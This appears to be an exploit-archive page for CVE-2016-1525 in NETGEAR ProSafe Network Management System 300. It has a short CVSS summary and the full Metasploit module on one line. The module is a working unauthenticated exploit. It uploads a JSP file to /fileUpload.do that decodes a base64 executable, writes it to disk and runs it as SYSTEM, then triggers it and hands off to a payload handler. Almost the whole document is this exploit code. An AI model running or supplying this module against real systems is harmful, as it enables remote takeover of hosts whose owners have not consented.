NETGEAR ProSafe Network Management System 300 Arbitrary File Upload

2016.03.01
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload', 'Description' => %q{ Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file upload vulnerability that can be exploited by an unauthenticated remote attacker to execute code as the SYSTEM user. Two servlets are vulnerable, FileUploadController (located at /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do). This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-1525'], ['US-CERT-VU', '777024'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => true, 'Targets' => [ [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 4 2016')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, "Application path", '/']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'GET' }) if res && res.code == 405 Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) payload_name = rand_text_alpha(rand(6)+3) var_raw = 'a' + rand_text_alpha(rand(8) + 3) var_ostream = 'b' + rand_text_alpha(rand(8) + 3) var_buf = 'c' + rand_text_alpha(rand(8) + 3) var_decoder = 'd' + rand_text_alpha(rand(8) + 3) var_tmp = 'e' + rand_text_alpha(rand(8) + 3) var_path = 'f' + rand_text_alpha(rand(8) + 3) var_proc2 = 'e' + rand_text_alpha(rand(8) + 3) jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); } catch (Exception e) { } %> | jsp.gsub!(/[\n\t\r]/, '') return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) jsp_full_name = "null#{jsp_name}.jsp" post_data = Rex::MIME::Message.new post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"') post_data.add_part(jsp_payload, "application/octet-stream", 'binary', "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/ print_status("#{peer} - Payload uploaded successfully") else fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name), 'method' => 'GET' }) handler end end


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